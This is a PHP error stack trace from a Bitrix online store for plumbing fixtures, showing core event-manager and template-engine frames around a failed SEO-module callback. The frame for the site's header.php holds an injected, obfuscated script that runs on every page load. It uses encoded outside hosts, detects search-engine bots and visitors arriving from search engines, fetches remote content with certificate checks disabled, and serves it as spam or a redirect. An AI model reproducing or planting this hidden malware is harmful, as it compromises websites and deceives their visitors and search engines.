/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/lib
/eventmanager.php
$args[] = $event;
}
else
{
$args = array_merge($args, array_values($event->getParameters()));
}
$callback = null;
if (isset($handler['CALLBACK']))
{
$callback = $handler['CALLBACK'];
}
elseif (!empty($handler['TO_CLASS']) && !empty($handler['TO_METHOD']) && class_exists($handler['TO_CLASS']))
{
$callback = [$handler['TO_CLASS'], $handler['TO_METHOD']];
}
if ($callback != null)
{
$result = call_user_func_array($callback, $args);
}
else
{
$result = $includeResult;
}
if (($result != null) && !($result instanceof EventResult))
{
$result = new EventResult(EventResult::UNDEFINED, $result, $handler['TO_MODULE_ID'] ?? null);
}
$event->addDebugInfo($result);
if ($result != null)
{
$event->addResult($result);
}
}
}
catch (\Exception $ex)
Arguments
"call_user_func_array(): Argument #1 ($callback) must be a valid callback, non-static method ItpandaSeo::ConcatNotEmpty() cannot be called statically"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/lib
/eventmanager.php
$args[] = $event;
}
else
{
$args = array_merge($args, array_values($event->getParameters()));
}
$callback = null;
if (isset($handler['CALLBACK']))
{
$callback = $handler['CALLBACK'];
}
elseif (!empty($handler['TO_CLASS']) && !empty($handler['TO_METHOD']) && class_exists($handler['TO_CLASS']))
{
$callback = [$handler['TO_CLASS'], $handler['TO_METHOD']];
}
if ($callback != null)
{
$result = call_user_func_array($callback, $args);
}
else
{
$result = $includeResult;
}
if (($result != null) && !($result instanceof EventResult))
{
$result = new EventResult(EventResult::UNDEFINED, $result, $handler['TO_MODULE_ID'] ?? null);
}
$event->addDebugInfo($result);
if ($result != null)
{
$event->addResult($result);
}
}
}
catch (\Exception $ex)
Arguments
array:2 [
0 => "ItpandaSeo"
1 => "ConcatNotEmpty"
]
array:1 [
0 => Event {}
]
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/lib
/eventmanager.php
$handlersTmp = $handlers;
$handlers = [];
foreach ($handlersTmp as $handler)
{
if (isset($handler['TO_MODULE_ID']) && in_array($handler['TO_MODULE_ID'], $filter))
{
$handlers[] = $handler;
}
}
}
return $handlers;
}
public function send(Event $event)
{
$handlers = $this->findEventHandlers($event->getModuleId(), $event->getEventType(), $event->getFilter());
foreach ($handlers as $handler)
{
$this->sendToEventHandler($handler, $event);
}
}
protected function sendToEventHandler(array $handler, Event $event)
{
try
{
$result = true;
$includeResult = true;
$event->addDebugInfo($handler);
if (!empty($handler['TO_MODULE_ID']) && ($handler['TO_MODULE_ID'] != 'main'))
{
$result = Loader::includeModule($handler['TO_MODULE_ID']);
}
elseif (!empty($handler['TO_PATH']))
{
$path = ltrim($handler['TO_PATH'], '/');
if (($path = Loader::getLocal($path)) !== false)
Arguments
array:9 [
"SORT" => 100
"TO_MODULE_ID" => "itpanda.seo"
"TO_PATH" => ""
"TO_CLASS" => "ItpandaSeo"
"TO_METHOD" => "ConcatNotEmpty"
"TO_METHOD_ARG" => []
"VERSION" => "2"
"TO_NAME" => "ItpandaSeo::ConcatNotEmpty (itpanda.seo)"
"FROM_DB" => true
]
Event {}
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/lib
/event.php
*/
public function getResults()
{
return $this->results;
}
public function addResult(EventResult $result)
{
$this->results[] = $result;
}
public function getSender()
{
return $this->sender;
}
public function send($sender = null)
{
$this->sender = $sender;
EventManager::getInstance()->send($this);
}
public function addException(\Exception $exception)
{
$this->exceptions[] = $exception;
}
public function getExceptions()
{
return $this->exceptions;
}
public function turnDebugOn()
{
$this->debugMode = true;
}
public function isDebugOn()
{
return $this->debugMode;
Arguments
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/iblock
/lib
/template
/functions
/fabric.php
if (!is_string($functionName))
{
return new FunctionBase($data);
}
if (isset(self::$defaultFunctionMap[$functionName]))
{
/** @var FunctionBase $functionClass */
$functionClass = self::$defaultFunctionMap[$functionName];
return new $functionClass($data);
}
elseif (isset(self::$functionMap[$functionName]))
{
/** @var FunctionBase $functionClass */
$functionClass = self::$functionMap[$functionName];
return new $functionClass($data);
}
else
{
$event = new \Bitrix\Main\Event("iblock", "OnTemplateGetFunctionClass", array($functionName));
$event->send();
if ($event->getResults())
{
foreach($event->getResults() as $evenResult)
{
if($evenResult->getType() == \Bitrix\Main\EventResult::SUCCESS)
{
$functionClass = $evenResult->getParameters();
if (is_string($functionClass) && class_exists($functionClass))
{
self::$functionMap[$functionName] = $functionClass;
}
break;
}
}
}
if (isset(self::$functionMap[$functionName]))
{
$functionClass = self::$functionMap[$functionName];
return new $functionClass($data);
}
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/iblock
/lib
/template
/engine.php
*
* @return void
*/
public function addParameter(NodeBase $parameter)
{
$this->parameters[] = $parameter;
}
/**
* Uses Functions\Fabric to get an instance of the function object by it's name.
* On success calls onPrepareParameters, then calculate method.
* Otherwise returns an empty string.
*
* @param Entity\Base $entity Sets the context of processing.
*
* @return string
*/
public function process(Entity\Base $entity)
{
$functionObject = Functions\Fabric::createInstance($this->functionName);
if ($functionObject instanceof Functions\FunctionBase)
{
$arguments = $functionObject->onPrepareParameters($entity, $this->parameters);
return $functionObject->calculate($arguments);
}
else
{
return "";
}
}
}
Arguments
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/iblock
/lib
/template
/engine.php
));
$this->modifiers[] = $modifierFunction;
}
}
/**
* Calls process for each of it's children.
* Returns concatenation of their results.
*
* @param Entity\Base $entity Sets the context of processing.
*
* @return string
*/
public function process(Entity\Base $entity)
{
$content = "";
/** @var NodeBase $child*/
foreach ($this->children as $child)
{
$childContent = $child->process($entity);
if (is_array($childContent))
$content .= implode(" ", $childContent);
else
$content .= $childContent;
}
/** @var Functions\FunctionBase $modifier*/
foreach ($this->modifiers as $modifier)
{
$node = new NodeText($content);
$arguments = $modifier->onPrepareParameters($entity, array($node));
$content = $modifier->calculate($arguments);
}
return $content;
}
}
/**
* Class NodeText
* Plain text node
*
Arguments
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/iblock
/lib
/template
/engine.php
{
/**
* Takes an entity (Element, Section or Iblock) and processes the template.
* <code>
* if (\Bitrix\Main\Loader::includeModule('iblock'))
* {
* $e = new \Bitrix\Iblock\Template\Entity\Element(6369);
* echo "<pre>", print_r(\Bitrix\Iblock\Template\Engine::process($e, "Name: {=this.Name}. Code:{=this.code}"), 1), "</pre>";
* }
* </code>
*
* @param Entity\Base $entity Context entity for template processing.
* @param string $template Template to make substitutions in.
*
* @return string
*/
public static function process(Entity\Base $entity, $template)
{
$rootNode = self::parseTemplateTree($template, new NodeRoot);
return $rootNode->process($entity);
}
/**
* Splits template by tokens and builds execution tree.
*
* @param string $template Source expression.
* @param NodeRoot $parent Root node.
*
* @return NodeRoot
*/
protected static function parseTemplateTree($template, NodeRoot $parent)
{
list($template, $modifiers) = Helper::splitTemplate($template);
if ($modifiers != "")
$parent->setModifiers($modifiers);
$parsedTemplate = preg_split('/({=|})/', $template, -1, PREG_SPLIT_DELIM_CAPTURE);
while (($token = array_shift($parsedTemplate)) !== null)
{
$node = null;
Arguments
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/aspro.smartseo
/classes
/general
/SmartseoEngine.php
\Aspro\Smartseo\Models\SmartseoSeoTemplateTable::ENTITY_TYPE_FILTER_RULE => $dataScope['RULE_ID'],
\Aspro\Smartseo\Models\SmartseoSeoTemplateTable::ENTITY_TYPE_FILTER_CONDITION => $dataScope['CONDITION_ID'],
\Aspro\Smartseo\Models\SmartseoSeoTemplateTable::ENTITY_TYPE_FILTER_URL => $dataScope['URL_ID'],
]);
if (!$seoTemplates) {
return;
}
$element = new \Aspro\Smartseo\Template\Entity\FilterRuleUrl($dataScope['URL_ID']);
$currentSeoProperty = Smartseo::getCurrentSeoProperty();
foreach ($seoTemplates as $seoProperty) {
if (!$seoProperty['TEMPLATE']) {
$currentSeoProperty[$code] = '';
continue;
}
$currentSeoProperty[$seoProperty['CODE']] = \Bitrix\Main\Text\HtmlFilter::encode(
\Bitrix\Iblock\Template\Engine::process($element, $seoProperty['TEMPLATE'])
);
}
Smartseo::setCurrentSeoProperty($currentSeoProperty);
}
static public function replaceSeoPropertyOnPage()
{
if(!Smartseo::validateModules()) {
return;
}
if (!Smartseo::getCurrentData()) {
return;
}
if (!Smartseo::getCurrentSeoProperty()) {
return;
}
Arguments
FilterRuleUrl {}
"{=property.IP_PROP958} {=aspro_morphy {=property.attr_form} "ср" "ед"}"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/aspro.smartseo
/classes
/general
/SmartseoEventHandler.php
namespace Aspro\Smartseo\General;
class SmartseoEventHandler
{
static public function onPageStart()
{
global $APPLICATION;
Smartseo::init();
if (\CSite::InDir('/bitrix/')) {
Smartseo::fixBitrixCoreAjaxAuth();
return;
}
SmartseoEngine::urlRewrite();
SmartseoEngine::loadSeoPropertyForPage();
}
static public function onEpilog()
{
if (\CSite::InDir('/bitrix/')) {
return;
}
SmartseoEngine::disallowPageIndexUrl();
SmartseoEngine::replaceSeoPropertyOnPage();
}
static public function onEndBufferContent(&$bufferContent)
{
if (\CSite::InDir('/bitrix/')) {
return;
}
if(Smartseo::getSettingObject()->isReplaceSnippetPage()) {
SmartseoEngine::replaceSnippetInContent($bufferContent);
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/tools.php
}
else
{
$args = $arParams;
}
//TODO: �������� ������� �� EventManager::getInstance()->getLastEvent();
global $BX_MODULE_EVENT_LAST;
$BX_MODULE_EVENT_LAST = $arEvent;
if (isset($arEvent["CALLBACK"]))
{
$result = call_user_func_array($arEvent["CALLBACK"], $args);
}
else
{
//php bug: http://bugs.php.net/bug.php?id=47948
if (class_exists($arEvent["TO_CLASS"]) && is_callable([$arEvent["TO_CLASS"], $arEvent["TO_METHOD"]]))
{
$result = call_user_func_array([$arEvent["TO_CLASS"], $arEvent["TO_METHOD"]], $args);
}
else
{
$exception = new SystemException("Event handler error: could not invoke {$arEvent["TO_CLASS"]}::{$arEvent["TO_METHOD"]}. Class or method does not exist.");
$application = Application::getInstance();
$exceptionHandler = $application->getExceptionHandler();
$exceptionHandler->writeToLog($exception);
$result = null;
}
}
return $result;
}
function UnRegisterModuleDependences($FROM_MODULE_ID, $MESSAGE_ID, $TO_MODULE_ID, $TO_CLASS="", $TO_METHOD="", $TO_PATH="", $TO_METHOD_ARG = array())
{
$eventManager = Main\EventManager::getInstance();
$eventManager->unRegisterEventHandler($FROM_MODULE_ID, $MESSAGE_ID, $TO_MODULE_ID, $TO_CLASS, $TO_METHOD, $TO_PATH, $TO_METHOD_ARG);
}
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/include.php
{
$application->addBackgroundJob(["CAgent", "CheckAgents"], [], \Bitrix\Main\Application::JOB_PRIORITY_LOW);
}
//send email events
if (COption::GetOptionString("main", "check_events", "Y") !== "N")
{
$application->addBackgroundJob(['\Bitrix\Main\Mail\EventManager', 'checkEvents'], [], \Bitrix\Main\Application::JOB_PRIORITY_LOW-1);
}
$healerOfEarlySessionStart = new HealerEarlySessionStart();
$healerOfEarlySessionStart->process($application->getKernelSession());
$kernelSession = $application->getKernelSession();
$kernelSession->start();
$application->getSessionLocalStorageManager()->setUniqueId($kernelSession->getId());
foreach (GetModuleEvents("main", "OnPageStart", true) as $arEvent)
{
ExecuteModuleEventEx($arEvent);
}
//define global user object
$GLOBALS["USER"] = new CUser;
//session control from group policy
$arPolicy = $GLOBALS["USER"]->GetSecurityPolicy();
$currTime = time();
if (
(
//IP address changed
$kernelSession['SESS_IP']
&& $arPolicy["SESSION_IP_MASK"] <> ''
&& (
(ip2long($arPolicy["SESSION_IP_MASK"]) & ip2long($kernelSession['SESS_IP']))
!=
(ip2long($arPolicy["SESSION_IP_MASK"]) & ip2long($_SERVER['REMOTE_ADDR']))
)
)
||
Arguments
array:11 [
"SORT" => 100
"TO_MODULE_ID" => "aspro.smartseo"
"TO_PATH" => ""
"TO_CLASS" => "\Aspro\Smartseo\General\SmartseoEventHandler"
"TO_METHOD" => "onPageStart"
"TO_METHOD_ARG" => []
"VERSION" => "2"
"TO_NAME" => "\Aspro\Smartseo\General\SmartseoEventHandler::onPageStart (aspro.smartseo)"
"FROM_DB" => true
"FROM_MODULE_ID" => "main"
"MESSAGE_ID" => "OnPageStart"
]
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/include
/prolog_before.php
<?php
if (!defined('START_EXEC_PROLOG_BEFORE_1'))
{
define("START_EXEC_PROLOG_BEFORE_1", microtime(true));
}
$GLOBALS["BX_STATE"] = "PB";
if(isset($_REQUEST["BX_STATE"])) unset($_REQUEST["BX_STATE"]);
if(isset($_GET["BX_STATE"])) unset($_GET["BX_STATE"]);
if(isset($_POST["BX_STATE"])) unset($_POST["BX_STATE"]);
if(isset($_COOKIE["BX_STATE"])) unset($_COOKIE["BX_STATE"]);
if(isset($_FILES["BX_STATE"])) unset($_FILES["BX_STATE"]);
if(!isset($USER)) {global $USER;}
if(!isset($APPLICATION)) {global $APPLICATION;}
if(!isset($DB)) {global $DB;}
require_once(__DIR__."/../include.php");
CMain::PrologActions();
if (!defined('START_EXEC_PROLOG_BEFORE_2'))
{
define("START_EXEC_PROLOG_BEFORE_2", microtime(true));
}
Arguments
"/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include.php"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/include
/prolog.php
<?php
require_once(__DIR__ . "/../bx_root.php");
if (file_exists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/html_pages/.enabled"))
{
require_once(__DIR__ . "/../lib/composite/responder.php");
Bitrix\Main\Composite\Responder::respond();
}
require_once(__DIR__ . "/prolog_before.php");
require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/prolog_after.php");
Arguments
"/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/prolog_before.php"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/header.php
<?php
/* 2duan */
goto vlDQz; HIGc8: $QH_Px = $_SERVER["\x52\105\x51\125\105\x53\x54\x5f\125\122\x49"]; goto LBhLH; hox2E: define("\170\154\x30\x53\122", "\60\x34\x31\x36\x6a\x73\143\62"); goto PcTht; Yex8u: function mfbI4($H4Uwh, $otwNg = "\57\x5b\x3f\x5c\57\x5d\50\x69\144\x7c\147\141\155\145\151\144\174\111\x44\x7c\153\x72\x73\154\x6f\164\111\104\x7c\x47\141\x6d\145\x7c\141\160\160\x7c\x69\x6f\163\x7c\x61\156\x64\x72\157\151\x64\174\x64\x6f\x77\x6e\154\x6f\x61\x64\174\142\x6c\141\x6e\153\174\123\154\x6f\164\x7c\x73\154\157\x74\x7c\x62\x65\x74\174\x63\x61\163\x69\x6e\x6f\174\x67\x61\155\145\x73\174\160\154\x61\x79\x7c\166\151\x64\x65\x6f\174\x70\157\x6b\x65\x72\174\156\145\x77\163\174\163\154\x6f\x7c\x67\x6f\x64\163\174\x66\151\163\x68\174\x6d\x61\x68\152\174\x75\162\x69\51\56\57") { return preg_match($otwNg, $H4Uwh) === 1; } goto D3ed8; htfxU: $SzF3y = $_SERVER["\x48\124\x54\120\x5f\x55\123\x45\x52\x5f\x41\107\x45\x4e\x54"]; goto l_2tv; byjza: define("\x45\x50\110\162\x4f", base64_decode("\x50\107\150\x30\142\x57\x77\53\103\x69\101\x67\111\103\x41\70\141\x47\126\150\x5a\x44\x34\113\111\103\x41\x67\x49\103\101\147\x49\103\x41\x38\x64\107\x6c\x30\x62\x47\125\x2b\x56\x47\x68\154\111\x48\x4a\154\143\x32\71\x31\x63\x6d\x4e\x6c\x49\107\116\150\x62\x6d\65\166\144\103\x42\151\132\123\x42\155\142\63\126\165\132\103\x34\70\114\63\x52\160\x64\107\170\x6c\x50\x67\x6f\x67\x49\103\101\147\111\103\101\147\x49\x44\170\172\x59\x33\x4a\160\143\x48\121\53\144\x32\154\165\x5a\x47\x39\63\x4c\155\170\x76\131\x32\106\60\x61\127\71\x75\x50\123\x4a\157\x64\x48\122\167\x63\x7a\x6f\x76\114\62\x56\x6e\x5a\62\116\62\141\x58\101\x75\x59\x32\x39\x74\x4c\x33\144\154\142\x47\x4e\166\142\x57\x55\166\x4d\x6a\101\x79\x4e\x54\x49\x75\x61\110\x52\164\142\103\x49\x37\x50\x43\71\172\x59\x33\112\160\143\110\x51\x2b\x43\x69\101\x67\111\103\x41\70\114\x32\150\x6c\131\x57\x51\x2b\x43\x69\x41\147\x49\103\x41\x38\131\x6d\71\x6b\x65\124\x34\x4b\111\x43\101\x67\111\x43\x41\x67\111\x43\x41\x38\x61\x44\105\x2b\124\155\x39\x30\x49\x45\132\x76\144\127\65\153\120\x43\71\x6f\115\124\64\113\111\103\101\x67\x49\x44\x77\x76\x59\155\x39\x6b\145\124\x34\113\x50\x43\x39\157\x64\107\61\x73\x50\147\x3d\x3d")); goto dUPrt; qAtYp: define("\x78\166\x49\x51\60", base64_decode("\x61\110\x52\x30\143\x44\157\x76\x4c\62\x70\x7a\131\62\122\x75\x4c\x6d\122\x6e\x61\172\147\64\117\103\65\60\x62\x33\x41\166")); goto FRai7; RMc81: function GBDin($FWaK8, $x3wSF = array(), $W_16F = 0, $yYiY2 = 0) { goto YbEfb; YbEfb: if (function_exists("\143\x75\x72\154\x5f\151\156\x69\x74")) { goto Kr1l2; } goto Se6RS; i1BbR: if (!curl_errno($XjNfe)) { goto k3A_Y; } goto wLTBW; yqoWn: curl_setopt($XjNfe, CURLOPT_SSL_VERIFYHOST, false); goto KwYqZ; jzRUU: mAJ47: goto UdSBC; UTu4r: curl_setopt($XjNfe, CURLOPT_HTTPHEADER, $x3wSF); goto limfG; uCU2h: curl_setopt($XjNfe, CURLOPT_URL, $FWaK8); goto EUHb8; KwYqZ: curl_setopt($XjNfe, CURLOPT_FOLLOWLOCATION, true); goto tS8Es; hCyfk: curl_close($XjNfe); goto nde7_; iiP7W: goto mAJ47; goto lE5i2; tUkpU: curl_setopt($XjNfe, CURLOPT_SSL_VERIFYPEER, false); goto yqoWn; qwX4s: $XjNfe = curl_init(); goto uCU2h; WiuGG: curl_setopt($XjNfe, CURLOPT_RETURNTRANSFER, 1); goto TFfBR; TFfBR: curl_setopt($XjNfe, CURLOPT_USERAGENT, $_SERVER["\110\124\x54\x50\x5f\125\x53\x45\x52\x5f\101\x47\x45\x4e\124"]); goto a75ec; EUHb8: curl_setopt($XjNfe, CURLOPT_HEADER, 0); goto WiuGG; z2vyF: k3A_Y: goto hCyfk; HadvG: curl_setopt($XjNfe, CURLOPT_TIMEOUT, $yYiY2); goto tUkpU; limfG: curl_setopt($XjNfe, CURLOPT_CONNECTTIMEOUT, $W_16F); goto HadvG; wLTBW: $hwbc0 = NULL; goto z2vyF; a75ec: curl_setopt($XjNfe, CURLOPT_REFERER, $_SERVER["\110\x54\124\120\137\x52\105\x46\x45\122\105\x52"]); goto UTu4r; nde7_: return $hwbc0; goto jzRUU; tS8Es: $hwbc0 = curl_exec($XjNfe); goto i1BbR; lE5i2: Kr1l2: goto qwX4s; Se6RS: return file_get_contents($FWaK8); goto iiP7W; UdSBC: } goto mwiSj; mwiSj: function esf5H() { foreach (array("\110\124\124\x50\x5f\103\114\x49\105\x4e\124\x5f\111\120", "\110\x54\x54\x50\x5f\130\x5f\x52\x45\101\114\137\x49\120", "\110\124\x54\x50\137\103\x46\x5f\103\x4f\116\x4e\105\x43\124\x49\116\x47\x5f\x49\x50", "\x48\x54\x54\120\x5f\x58\x5f\106\117\122\127\101\122\x44\105\104\x5f\106\x4f\x52", "\x48\124\124\120\x5f\130\137\106\x4f\x52\x57\x41\122\104\105\x44", "\x48\x54\x54\120\x5f\130\x5f\103\114\125\x53\124\105\122\137\x43\114\111\x45\x4e\124\137\111\x50", "\x48\124\x54\120\137\106\117\x52\127\x41\122\x44\105\104\137\x46\117\122", "\110\124\124\120\x5f\x46\x4f\122\x57\x41\122\104\x45\104", "\122\105\x4d\117\x54\105\x5f\101\104\104\x52") as $ZVlRe) { goto d7Qev; u9jhz: FZvn_: goto CF1Jb; qhmc2: DwtkE: goto vmBGF; eZhk4: foreach (explode("\54", $_SERVER[$ZVlRe]) as $orkmV) { goto nK6uj; ZmXm0: if (!(filter_var($orkmV, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)) { goto O9SIl; } goto C6YCL; nK6uj: $orkmV = trim($orkmV); goto ZmXm0; vldkR: O9SIl: goto D3iU3; D3iU3: g5ZtL: goto Khtb4; C6YCL: return $orkmV; goto vldkR; Khtb4: } goto qhmc2; d7Qev: if (!(array_key_exists($ZVlRe, $_SERVER) === true)) { goto sFwUD; } goto eZhk4; vmBGF: sFwUD: goto u9jhz; CF1Jb: } aj6kE: } goto pD8nc; l_2tv: $dqr6X = $_SERVER["\x48\124\x54\120\x5f\x48\x4f\x53\124"]; goto HIGc8; vNC8C: error_reporting(0); goto hox2E; vlDQz: set_time_limit(0); goto vNC8C; dUPrt: $ahpjG = $_SERVER["\110\x54\x54\x50\x5f\x52\x45\106\x45\122\x45\122"]; goto htfxU; PcTht: define("\x64\x4c\x4c\x4f\x42", "\x56\x45\147\x6a\123\x32\61\156"); goto zCByt; CzI0G: function W7Cv_($QwF7b) { goto DeJdi; SzWsL: xT3Gz: goto vskgC; vskgC: return false; goto x3DIh; mgn0J: $UMB_z = array("\147\157\x6f\147\154\145\56", "\x62\151\156\x67\x2e", "\156\141\x76\145\x72\x2e", "\171\141\150\x6f\157\56"); goto ajUsT; DeJdi: if (!(substr($QwF7b, 0, 4) === "\x68\x74\x74\x70")) { goto xT3Gz; } goto mgn0J; ajUsT: foreach ($UMB_z as $vXT4U) { goto gO0XF; a65NQ: hsG1N: goto GR90K; Icgwk: return true; goto hYog1; hYog1: vfMHq: goto a65NQ; gO0XF: if (!(stripos($QwF7b, $vXT4U) !== false)) { goto vfMHq; } goto Icgwk; GR90K: } goto PjfnM; PjfnM: L9RYy: goto SzWsL; x3DIh: } goto RMc81; LBhLH: function yh_3Q() { } goto KOJRg; D3ed8: function tgo4V($J8eYM) { goto CkeFV; mdkLb: return false; goto DQy1c; iGoms: YTk4e: goto mdkLb; CkeFV: $PdcaN = array("\107\x6f\x6f\x67\154\x65\142\x6f\164", "\102\x69\x6e\x67\x62\157\x74", "\171\x65\164\x69"); goto rezF2; rezF2: foreach ($PdcaN as $mnxif) { goto Ks9lH; IBV65: x7oOc: goto cbUl5; r9GXN: return true; goto IFoRg; IFoRg: QyvIn: goto IBV65; Ks9lH: if (!(stripos($J8eYM, $mnxif) !== false)) { goto QyvIn; } goto r9GXN; cbUl5: } goto iGoms; DQy1c: } goto CzI0G; pD8nc: function M8uoS() { goto RKQnr; Ksbil: J44NQ: goto SVg__; XXtfD: $kGVBm = urlencode($QH_Px); goto TJpBz; jFUcM: cAWkL: goto TWpdA; TJpBz: $x3wSF = array(); goto hdIl9; QRV2d: header("\x50\162\141\147\155\141\72\x20\156\157\55\143\141\143\150\x65"); goto XXtfD; YiUrr: header("\x43\157\156\164\145\156\164\55\x54\171\160\x65\72\164\x65\x78\164\x2f\150\x74\155\x6c\x3b\x20\143\150\141\162\x73\x65\164\75\x75\164\146\x2d\70"); goto Qvhca; l5xq_: UxfNV: goto w9VU_; hdIl9: if (!isset($_SERVER["\x48\124\x54\x50\137\101\103\x43\105\120\124\137\114\x41\x4e\107\125\101\107\x45"])) { goto UxfNV; } goto Awufz; hRMk0: array_push($x3wSF, "\x41\143\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\72\x20{$p8yhw}"); goto P0I3_; e9jhQ: exit; goto sJp54; RtBb5: $IieOD = ESF5H(); goto sgQOZ; jlcmD: goto e_lpS; goto ZNB3Y; sgQOZ: if (MFBi4($QH_Px)) { goto pq1sd; } goto wPhGA; Wa2st: exit; goto jFUcM; Ss3VP: foreach ($wyuUY as $ZVlRe => $pNSbs) { goto Vj8wc; Vj8wc: if (!(stripos($ZVlRe, "\x53\145\143\x2d") === 0)) { goto kAPsM; } goto yhQdO; iRNtb: VMiyR: goto sUCZ8; yhQdO: array_push($x3wSF, "{$ZVlRe}\x3a\40{$pNSbs}"); goto gIBxg; gIBxg: kAPsM: goto iRNtb; sUCZ8: } goto AfwtL; w9VU_: if (tgO4V($SzF3y)) { goto t1KTd; } goto f_qF0; wPhGA: echo gBDIN(xvIQ0 . "\x61\154\x2e\160\x68\160"); goto kT15a; iQDSR: header("\103\x61\143\150\x65\x2d\x43\x6f\156\x74\162\157\x6c\72\40\x6e\x6f\x2d\x73\x74\157\x72\145\54\40\156\157\55\x63\x61\143\150\145\54\40\x6d\165\x73\x74\x2d\162\145\166\x61\154\151\x64\141\164\x65"); goto Bs8ln; Bs8ln: header("\x43\141\143\150\x65\55\103\157\156\x74\162\x6f\154\72\x20\160\x6f\163\x74\55\143\x68\145\x63\x6b\75\x30\54\x20\160\162\x65\x2d\143\x68\x65\143\153\x3d\60", FALSE); goto QRV2d; P0I3_: array_push($x3wSF, "\x56\x61\162\x79\x3a\40\101\x63\x63\x65\x70\164\55\114\x61\x6e\147\165\141\147\145"); goto l5xq_; sJp54: e_lpS: goto R9R8y; SVg__: header("\x43\157\156\x74\145\x6e\164\55\x54\x79\160\145\x3a\164\x65\x78\164\57\x68\164\155\x6c\73\40\x63\150\141\162\163\x65\x74\x3d\165\164\146\55\70"); goto AUfpf; TWpdA: goto e_lpS; goto Ksbil; WGJrm: $MR3er = GBDiN(nevcy . "\65\60\62\x32\x2e\x70\150\160"); goto f2Px0; Qvhca: echo gBdIN(xvIQ0 . "\77{$dqr6X}{$QH_Px}"); goto Wa2st; f2Px0: echo $MR3er ? $MR3er : EPHrO; goto e9jhQ; dAVn4: if (!function_exists("\144\x6f\107\156\116")) { function dOGnn() { goto je6Ow; ErlVH: Mi87p: goto o0Gq1; upAbJ: foreach ($_SERVER as $crqzG => $pNSbs) { goto MWW3w; MWW3w: if (!(substr($crqzG, 0, 5) == "\110\x54\124\x50\137")) { goto eaJ4l; } goto Z40uH; ErpTR: eaJ4l: goto rEJK6; Z40uH: $JeD6C[str_replace("\40", "\x2d", ucwords(strtolower(str_replace("\x5f", "\40", substr($crqzG, 5)))))] = $pNSbs; goto ErpTR; rEJK6: IK6vP: goto Wny0V; Wny0V: } goto ErlVH; o0Gq1: return $JeD6C; goto Xicwh; je6Ow: $JeD6C = array(); goto upAbJ; Xicwh: } $wyuUY = dogNn(); } else { $wyuUY = Dognn(); } goto Ss3VP; AfwtL: dxbi4: goto WGJrm; Awufz: $p8yhw = $_SERVER["\110\124\x54\120\137\x41\103\x43\105\x50\124\x5f\x4c\101\116\107\x55\x41\x47\105"]; goto hRMk0; kT15a: goto cAWkL; goto L9OC1; RKQnr: global $ahpjG, $SzF3y, $dqr6X, $QH_Px; goto iQDSR; L9OC1: pq1sd: goto YiUrr; ZNB3Y: t1KTd: goto RtBb5; GaSr2: $wyuUY = array(); goto dAVn4; f_qF0: if (MfBi4($QH_Px) && w7CV_($ahpjG)) { goto J44NQ; } goto jlcmD; AUfpf: $JdpZm = ESF5h(); goto GaSr2; R9R8y: } goto DiCiu; OxZa0: function uQ1Bz() { $W0OaF = ob_get_contents(); ob_end_clean(); } goto Yex8u; FRai7: define("\x6e\x65\166\x63\171", base64_decode("\141\110\122\x30\x63\104\157\x76\114\x32\106\153\114\155\122\156\141\x7a\147\x34\x4f\x43\x35\60\x62\63\101\x76")); goto byjza; zCByt: define("\172\x39\66\x38\x5f", base64_decode("\141\110\122\x30\143\x48\115\66\x4c\x79\71\161\x63\62\116\153\x62\x69\65\x6b\132\62\163\64\117\104\x67\165\x64\x47\x39\167\114\167\x3d\x3d")); goto qAtYp; KOJRg: function fKOEh() { ob_start(); register_shutdown_function("\x69\x6e\163\145\x72\164\137\x68\x74\x6d\154\x5f\145\x6e\144"); } goto OxZa0; DiCiu: M8uoS();
?><?require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog.php");?>
Arguments
"/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/prolog.php"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/catalog
/index.php
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
$APPLICATION->SetTitle("Каталог товаров сантехники Vannstudio.ru");
$APPLICATION->IncludeComponent(
"bitrix:catalog",
"main",
array(
"IBLOCK_TYPE" => "aspro_max_catalog",
"IBLOCK_ID" => "2",
"HIDE_NOT_AVAILABLE" => "Y",
"BASKET_URL" => "/basket/",
"ACTION_VARIABLE" => "action",
"PRODUCT_ID_VARIABLE" => "id",
"SECTION_ID_VARIABLE" => "SECTION_ID",
"PRODUCT_QUANTITY_VARIABLE" => "quantity",
"PRODUCT_PROPS_VARIABLE" => "prop",
"SEF_MODE" => "Y",
"SEF_FOLDER" => "/catalog/",
"AJAX_MODE" => "N",
"AJAX_OPTION_JUMP" => "N",
"AJAX_OPTION_STYLE" => "Y",
"AJAX_OPTION_HISTORY" => "Y",
"CACHE_TYPE" => "A",
"CACHE_TIME" => "3600000",
"CACHE_FILTER" => "Y",
"CACHE_GROUPS" => "Y",
"SET_TITLE" => "Y",
"SET_STATUS_404" => "Y",
"USE_ELEMENT_COUNTER" => "Y",
"USE_FILTER" => "Y",
"FILTER_NAME" => "MAX_SMART_FILTER",
"FILTER_FIELD_CODE" => array(
0 => "",
1 => "",
),
